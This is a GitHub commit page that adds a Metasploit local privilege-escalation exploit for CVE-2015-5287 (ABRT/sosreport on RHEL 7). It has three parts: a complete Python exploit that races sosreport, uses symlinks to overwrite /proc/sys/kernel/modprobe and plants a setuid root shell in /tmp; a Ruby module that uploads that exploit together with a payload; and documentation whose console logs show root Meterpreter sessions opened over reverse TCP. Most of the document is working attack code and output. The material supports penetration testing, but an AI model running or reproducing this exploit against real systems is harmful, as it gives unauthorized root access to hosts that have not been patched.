Skip to content

Commit

Permalink
Land #11762, add sosreport privesc
Browse files Browse the repository at this point in the history
  • Loading branch information
space-r7 committed Sep 24, 2019
2 parents 4d2c5db + ca8c72d commit 4710322
Show file tree
Hide file tree
Showing 3 changed files with 392 additions and 0 deletions.
114 changes: 114 additions & 0 deletions data/exploits/cve-2015-5287/sosreport-rhel7.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,114 @@
#!/usr/bin/python
# CVE-2015-5287 (?)
# abrt/sosreport RHEL 7.0/7.1 local root
# rebel 09/2015

# [user@localhost ~]$ python sosreport-rhel7.py
# crashing pid 19143
# waiting for dump directory
# dump directory: /var/tmp/abrt/ccpp-2015-11-30-19:41:13-19143
# waiting for sosreport directory
# sosreport: sosreport-localhost.localdomain-20151130194114
# waiting for tmpfiles
# tmpfiles: ['tmpurfpyY', 'tmpYnCfnQ']
# moving directory
# moving tmpfiles
# tmpurfpyY -> tmpurfpyY.old
# tmpYnCfnQ -> tmpYnCfnQ.old
# waiting for sosreport to finish (can take several minutes)........................................done
# success
# bash-4.2# id
# uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# bash-4.2# cat /etc/redhat-release
# Red Hat Enterprise Linux Server release 7.1 (Maipo)

import os,sys,glob,time,sys,socket

payload = "#!/bin/sh\ncp /bin/sh /tmp/sh\nchmod 6755 /tmp/sh\n"

pid = os.fork()

if pid == 0:
os.execl("/usr/bin/sleep","sleep","100")

time.sleep(0.5)

print "crashing pid %d" % pid

os.kill(pid,11)

print "waiting for dump directory"

def waitpath(p):
while 1:
r = glob.glob(p)
if len(r) > 0:
return r
time.sleep(0.05)

dumpdir = waitpath("/var/tmp/abrt/cc*%d" % pid)[0]

print "dump directory: ", dumpdir

os.chdir(dumpdir)

print "waiting for sosreport directory"

sosreport = waitpath("sosreport-*")[0]

print "sosreport: ", sosreport

print "waiting for tmpfiles"
tmpfiles = waitpath("tmp*")

print "tmpfiles: ", tmpfiles

print "moving directory"

os.rename(sosreport, sosreport + ".old")
os.mkdir(sosreport)
os.chmod(sosreport,0777)

os.mkdir(sosreport + "/sos_logs")
os.chmod(sosreport + "/sos_logs",0777)

os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/sos.log")
os.symlink("/proc/sys/kernel/modprobe",sosreport + "/sos_logs/ui.log")

print "moving tmpfiles"

for x in tmpfiles:
print "%s -> %s" % (x,x + ".old")
os.rename(x, x + ".old")
open(x, "w+").write("/tmp/hax.sh\n")
os.chmod(x,0666)


os.chdir("/")

sys.stderr.write("waiting for sosreport to finish (can take several minutes)..")


def trigger():
open("/tmp/hax.sh","w+").write(payload)
os.chmod("/tmp/hax.sh",0755)
try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132)
except: pass
time.sleep(0.5)
try:
os.stat("/tmp/sh")
except:
print "could not create suid"
sys.exit(-1)
print "success"
os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;python -c "import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');"''')
sys.exit(-1)

for x in xrange(0,60*10):
if "/tmp/hax" in open("/proc/sys/kernel/modprobe").read():
print "done"
trigger()
time.sleep(1)
sys.stderr.write(".")

print "timed out"
118 changes: 118 additions & 0 deletions documentation/modules/exploit/linux/local/abrt_sosreport_priv_esc.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,118 @@
## Description

This module attempts to gain root privileges on RHEL systems with
a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured
as the crash handler.

`sosreport` uses an insecure temporary directory, allowing local users
to write to arbitrary files (CVE-2015-5287). This module uses a symlink
attack on `/var/tmp/abrt/cc-*$pid/` to overwrite the `modprobe` path
in `/proc/sys/kernel/modprobe`, resulting in root privileges.

Waiting for `sosreport` could take a few minutes.


## Vulnerable Application

This module has been tested successfully on:

* abrt 2.1.11-12.el7 on RHEL 7.0 x86_64
* abrt 2.1.11-19.el7 on RHEL 7.1 x86_64


## Verification Steps

1. Start `msfconsole`
2. Get a session
3. `use exploit/linux/local/abrt_sosreport_priv_esc`
4. `set SESSION [SESSION]`
5. `check`
6. `run`
7. You should get a new *root* session


## Options

**TIMEOUT**

Timeout for `sosreport` (seconds) (default: `600`)

**WritableDir**

A writable directory file system path. (default: `/tmp`)


## Scenarios

### Red Hat Enterprise Linux 7.0 (x64)

```
msf5 > use exploit/linux/local/abrt_sosreport_priv_esc
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set verbose true
verbose => true
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.165:4444
[+] System is configured to use ABRT for crash reporting
[+] abrt-ccpp service is running
[+] ABRT package version 2.1.11-12.el7 is vulnerable
[+] python is installed
[*] Writing '/tmp/.DcxBT2w' (2756 bytes) ...
[*] Writing '/tmp/.HUAWYz' (207 bytes) ...
[*] Launching exploit - This might take a few minutes (Timeout: 600s) ...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (985320 bytes) to 172.16.191.151
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.151:50843) at 2019-04-20 07:21:24 -0400
[+] Deleted /tmp/.DcxBT2w
[+] Deleted /tmp/.HUAWYz
[+] Deleted /tmp/hax.sh
[*] waiting for sosreport to finish (can take several minutes)....................
meterpreter > getuid
Server username: uid=0, gid=1000, euid=0, egid=1000
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Red Hat Enterprise Linux 7 (Linux 3.10.0-123.el7.x86_64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
```


### Red Hat Enterprise Linux 7.1 (x64)

```
msf5 > use exploit/linux/local/abrt_sosreport_priv_esc
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set verbose true
verbose => true
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/abrt_sosreport_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.165:4444
[+] System is configured to use ABRT for crash reporting
[+] abrt-ccpp service is running
[+] ABRT package version 2.1.11-19.el7 is vulnerable
[+] python is installed
[*] Writing '/tmp/.gFrwiGr' (2756 bytes) ...
[*] Writing '/tmp/.NA4fwK' (207 bytes) ...
[*] Launching exploit - This might take a few minutes (Timeout: 600s) ...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (985320 bytes) to 172.16.191.218
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.218:51022) at 2019-04-20 07:23:24 -0400
[*] waiting for sosreport to finish (can take several minutes)..............
meterpreter > getuid
Server username: uid=0, gid=1000, euid=0, egid=1000
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Red Hat Enterprise Linux 7 (Linux 3.10.0-229.el7.x86_64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
```

160 changes: 160 additions & 0 deletions modules/exploits/linux/local/abrt_sosreport_priv_esc.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,160 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'ABRT sosreport Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges on RHEL systems with
a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured
as the crash handler.
`sosreport` uses an insecure temporary directory, allowing local users
to write to arbitrary files (CVE-2015-5287). This module uses a symlink
attack on `/var/tmp/abrt/cc-*$pid/` to overwrite the `modprobe` path
in `/proc/sys/kernel/modprobe`, resulting in root privileges.
Waiting for `sosreport` could take a few minutes.
This module has been tested successfully on:
abrt 2.1.11-12.el7 on RHEL 7.0 x86_64; and
abrt 2.1.11-19.el7 on RHEL 7.1 x86_64.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rebel', # Discovery and sosreport-rhel7.py exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2015-11-23',
'Platform' => ['linux'],
'Arch' =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [[ 'Auto', {} ]],
'References' =>
[
['BID', '78137'],
['CVE', '2015-5287'],
['EDB', '38832'],
['URL', 'https://www.openwall.com/lists/oss-security/2015/12/01/1'],
['URL', 'https://access.redhat.com/errata/RHSA-2015:2505'],
['URL', 'https://access.redhat.com/security/cve/CVE-2015-5287'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1266837']
]
))
register_options [
OptInt.new('TIMEOUT', [true, 'Timeout for sosreport (seconds)', '600'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def base_dir
datastore['WritableDir']
end

def timeout
datastore['TIMEOUT']
end

def check
kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern'
unless kernel_core_pattern.include? 'abrt-hook-ccpp'
vprint_error 'System is not configured to use ABRT for crash reporting'
return CheckCode::Safe
end
vprint_good 'System is configured to use ABRT for crash reporting'

if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive'
vprint_error 'abrt-ccp service not running'
return CheckCode::Safe
end
vprint_good 'abrt-ccpp service is running'

# Patched in 2.1.11-35.el7
pkg_info = cmd_exec('yum list installed abrt | grep abrt').to_s
abrt_version = pkg_info[/^abrt.*$/].to_s.split(/\s+/)[1]
if abrt_version.blank?
vprint_status 'Could not retrieve ABRT package version'
return CheckCode::Safe
end
unless Gem::Version.new(abrt_version) < Gem::Version.new('2.1.11-35.el7')
vprint_status "ABRT package version #{abrt_version} is not vulnerable"
return CheckCode::Safe
end
vprint_good "ABRT package version #{abrt_version} is vulnerable"

unless command_exists? 'python'
vprint_error 'python is not installed'
return CheckCode::Safe
end
vprint_good 'python is installed'

CheckCode::Appears
end

def upload_and_chmodx(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
chmod path
register_file_for_cleanup path
end

def exploit
unless check == CheckCode::Appears
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end

unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

exe_data = ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2015-5287', 'sosreport-rhel7.py')
exe_name = ".#{rand_text_alphanumeric 5..10}"
exe_path = "#{base_dir}/#{exe_name}"
upload_and_chmodx exe_path, exe_data

payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
upload_and_chmodx payload_path, generate_payload_exe

register_file_for_cleanup '/tmp/hax.sh'

print_status "Launching exploit - This might take a few minutes (Timeout: #{timeout}s) ..."
output = cmd_exec "echo \"#{payload_path}& exit\" | #{exe_path}", nil, timeout
output.each_line { |line| vprint_status line.chomp }
end
end

0 comments on commit 4710322

Please sign in to comment.